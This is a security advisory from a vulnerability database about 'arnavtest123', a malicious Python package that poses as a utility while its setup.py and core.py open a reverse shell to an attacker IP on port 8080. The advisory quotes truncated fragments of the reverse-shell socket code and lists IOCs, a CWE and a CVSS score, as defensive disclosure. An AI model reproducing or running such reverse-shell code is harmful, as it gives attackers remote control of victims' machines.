VDB
GCVE-110-OSM-2026-699
GCVE-110-OSM-2026-699
Advisory PublishedCVSS 8.8/10
Package describes itself as "A utility package", but really it opens a reverse shell to attacker controlled server
Payload: setup.py
Secondary files: arnavtest123/core.py
This package uses a super simple reverse shell in the setup.py file to connect to the attacker's machine at 4.242.58.206 port 8080 via HTTP. Nothing fancy, just simple reverse-shell
Key findings:
- Reverse Shell in arnavtest123/core.py: "socket.socket()
s.connect(("4.242.58.206", 8080))
os.dup..."
- Reverse Shell in setup.py: "socket.socket();s.connect((\"4.242.58.206\",8080));os.dup2(s.fileno(),0);os.dup2..."
- Shell Command Execution in arnavtest123/core.py: "subprocess.call("
- Shell Command Execution in setup.py: "os.system("
IOCs:
- ipv4: 4.242.58.206
- url: http://4.242.58.206:8080
- payloadFileHash: 664568ad811c86a73d3d96bfae204d5708b48a76c0ca51ee83d1a9ea447227b3
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | arnavtest123 | all (affected) | — |
Aliases
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